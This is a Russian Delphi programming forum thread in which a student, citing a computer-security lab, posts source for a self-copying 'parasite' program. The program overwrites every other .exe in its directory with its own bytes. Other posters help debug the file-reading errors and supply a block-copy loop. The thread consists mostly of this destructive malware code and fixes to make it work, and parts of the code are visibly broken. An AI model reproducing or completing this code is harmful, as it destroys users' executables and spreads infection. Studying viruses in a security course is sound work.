Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 15.05.2014, 12:22   #1
Karateka
Пользователь
 
Регистрация: 25.05.2013
Сообщений: 33
По умолчанию Программа 'Паразит'

Пишу лабу. Задание, сделать программу паразит. Паразит находит exe-шник, записывает сначала себя, потом программу этого exe-шника.
Для начала решил хотя бы сделать, чтобы находила exe файл, и делала из него себя. Но вылетают ошибки.
Подскажите в чем проблема? если поменять значение _virusLength на 100, то программа выполняется, exe-шники полностью не записываются (я так понял, при таком размере _virusLength, программа вся не считывается, а только её кусок), если поставить 1000, то после выполнения readln выдает stack overflow at 0x00408c42, если поставить 10000, 100000, 1000000 - то выдает I/O error 998.

Код:
Program Parasite;
 
{$APPTYPE CONSOLE}
 
{$R *.res}
 
uses
  System.SysUtils,
  Windows;
 
var
SearchResult : TSearchRec;
_virusBuff : array of char;
_progBuff : array of char;
_file,_file2 : file;
_ProgSize : integer;
_result : integer;
 
 
const
 _virusLength : longint = 100000;
 
begin
    setLength(_virusBuff,_virusLength);
    AssignFile(_file, ParamStr(0));
    _string := ParamStr(0);
    _string := _string + #0;
    CopyFile(@_string[1],'W:\Delphi\Parasite.exe',false);
 
    AssignFile(_file,'W:\Delphi\Parasite.exe');
    Reset(_file);
    BlockRead(_file,_virusBuff[0],_virusLength); // Здесь выдает ошибку I/O error 998
    CloseFile(_file);
 
 
  if FindFirst('*.exe',faAnyFile,searchResult) = 0 then
   begin
    repeat
    if searchResult.name <> 'Parasite.exe' then
     begin
      AssignFile(_file2,searchResult.Name);
      Rewrite(_file2);
      BlockWrite(_file2,_virusBuff[0],_virusLength);
      CloseFile(_file2);
     end;
    until FindNext(searchResult) <> 0;
   end;
 
readln;
readln;
end.
Karateka вне форума Ответить с цитированием
Старый 15.05.2014, 12:40   #2
DarkEvil
Форумчанин
 
Аватар для DarkEvil
 
Регистрация: 08.05.2009
Сообщений: 247
По умолчанию

Код:
_virusLength  := GetFileSize(FileOpen(ParamStr(0),fmOpenRead), nil);
Мой сайт
Цитата:
Сообщение от Scream In Darkness
Кровь не даёт покоя! Кровь не знает сна!
Кровь бежит на волю – Вены рвёт сама!
DarkEvil вне форума Ответить с цитированием
Старый 15.05.2014, 13:06   #3
Karateka
Пользователь
 
Регистрация: 25.05.2013
Сообщений: 33
По умолчанию

Цитата:
Сообщение от DarkEvil Посмотреть сообщение
Код:
_virusLength  := GetFileSize(FileOpen(ParamStr(0),fmOpenRead), nil);
Сделал, следующие.
_virusLength объявил как переменную longint.
_virusLength := GetFileSize(FileOpen(ParamStr(0),fm OpenRead), nil);

посмотрел, размер не записывается, в переменную идет -1.

Попробовал так.

Код:
    AssignFile(_file, ParamStr(0));
    _string := ParamStr(0);
    _string := _string + #0;
    CopyFile(@_string[1],'W:\Delphi\Parasite.exe',false);

    AssignFile(_file,'W:\Delphi\Parasite.exe');
    Reset(_file,1); 

    _virusLength  := FileSize(_file);
    setLength(_virusBuff,_virusLength);
    BlockRead(_file,_virusBuff[0],_virusLength);
    CloseFile(_file);




  if FindFirst('*.exe',faAnyFile,searchResult) = 0 then
   begin
    repeat
    if searchResult.name <> 'Parasite.exe' then
     begin
      AssignFile(_file2,searchResult.Name);
      Rewrite(_file2,1);
      BlockWrite(_file2,_virusBuff[0],_virusLength);
      CloseFile(_file2);
     end;
    until FindNext(searchResult) <> 0;
   end;


readln;
readln;
end.
Добавил в Reset(_file,1) и в Rewrite(_file,1), единичку, программа выполняется exe-шники становятся по размеру одинаковые с Parasite.exe, но при запуске не выполняются, а сразу пишет произошла ошибка, и завершаются.
Если убрать единички, то вылетает ошибка I/O error 998
Karateka вне форума Ответить с цитированием
Старый 15.05.2014, 13:09   #4
Аватар
Старожил
 
Аватар для Аватар
 
Регистрация: 17.11.2010
Сообщений: 18,922
По умолчанию

Цитата:
Задание, сделать программу паразит
ТС, где, интересно, учат вирусы делать?
Если бы архитекторы строили здания так, как программисты пишут программы, то первый залетевший дятел разрушил бы цивилизацию
Аватар вне форума Ответить с цитированием
Старый 15.05.2014, 13:14   #5
doktor255
Заблокирован
 
Регистрация: 31.03.2011
Сообщений: 976
По умолчанию

Karateka А если система 64 бита, программа будет лепить 32 битный код к 64 битному? Забавная фиговина получится, и к тому же полностью недееспособная. Если windows/антивирус вовремя не остановят, крах системы гарантирован.
doktor255 вне форума Ответить с цитированием
Старый 15.05.2014, 13:23   #6
Karateka
Пользователь
 
Регистрация: 25.05.2013
Сообщений: 33
По умолчанию

Цитата:
Сообщение от Аватар Посмотреть сообщение
ТС, где, интересно, учат вирусы делать?
Специальность Компьютерная безопасность, предмет Проектирование и Обнаружение вирусов. Следующая лаба, надо написать Антивирус к первой лабе.

Парни, так в чем проблема?
Karateka вне форума Ответить с цитированием
Старый 15.05.2014, 13:55   #7
DarkEvil
Форумчанин
 
Аватар для DarkEvil
 
Регистрация: 08.05.2009
Сообщений: 247
По умолчанию

BlockRead(_file,_virusBuff[0],_virusLength); что это?
sizeof(_virusBuff[0]) = 1
вы перезаписываете весь файл каким-то одним символом.
Мой сайт
Цитата:
Сообщение от Scream In Darkness
Кровь не даёт покоя! Кровь не знает сна!
Кровь бежит на волю – Вены рвёт сама!
DarkEvil вне форума Ответить с цитированием
Старый 15.05.2014, 14:10   #8
Karateka
Пользователь
 
Регистрация: 25.05.2013
Сообщений: 33
По умолчанию

Цитата:
Сообщение от DarkEvil Посмотреть сообщение
BlockRead(_file,_virusBuff[0],_virusLength); что это?
sizeof(_virusBuff[0]) = 1
вы перезаписываете весь файл каким-то одним символом.
BlockRead(_file,_virusBuff[0],_virusLength); - считываю весь parasite.exe, чтобы потом его записать в другой exe-шник.
Если пишу просто BlockRead(_file,_virusBuff,_virusLe ngth), то вылетает ошибка I/O error 998.
Просто где-то прочитал что нужно указывать начальный элемент для динамического массива.
Karateka вне форума Ответить с цитированием
Старый 15.05.2014, 14:17   #9
doktor255
Заблокирован
 
Регистрация: 31.03.2011
Сообщений: 976
По умолчанию

Может Length - 1? А ошибка ввиду выхода за пределы буфера?
doktor255 вне форума Ответить с цитированием
Старый 15.05.2014, 14:18   #10
DarkEvil
Форумчанин
 
Аватар для DarkEvil
 
Регистрация: 08.05.2009
Сообщений: 247
По умолчанию

не то процитировал, хотя BlockRead(_file,_virusBuff[0],_virusLength); пытается все впихнуть в один элемент массива??
_virusBuff : array of char;
также это относится и к BlockWrite(_file2,_virusBuff[0],_virusLength);

Код:
var 
Buf: array[1..1024] of Char;
readcount, writecount : Integer;
handle1, handle2 : file;

//--//
repeat
   BlockRead(handle1, Buf, SizeOf(Buf), readcount);    {читает данные}
   BlockWrite(handle2, Buf, readcount, writecount);    {записывает данные}
until (readcount = 0) or (writecount <> readcount);
Мой сайт
Цитата:
Сообщение от Scream In Darkness
Кровь не даёт покоя! Кровь не знает сна!
Кровь бежит на волю – Вены рвёт сама!

Последний раз редактировалось DarkEvil; 15.05.2014 в 14:29.
DarkEvil вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
нужна программа QControl программа для внутрилабораторного контроля качества Версия 5.5. миньен Софт 7 02.03.2014 00:28
Программа на Pascal в Lazarus и программа для одномерного массива целых чисел Yegorka Lazarus, Free Pascal, CodeTyphon 13 20.12.2012 18:02
Программа с применением записей и программа с применение множеств smert99 Помощь студентам 0 16.06.2011 23:14
Программа открыается если есть другая программа. bookkc Паскаль, Turbo Pascal, PascalABC.NET 12 14.10.2009 20:09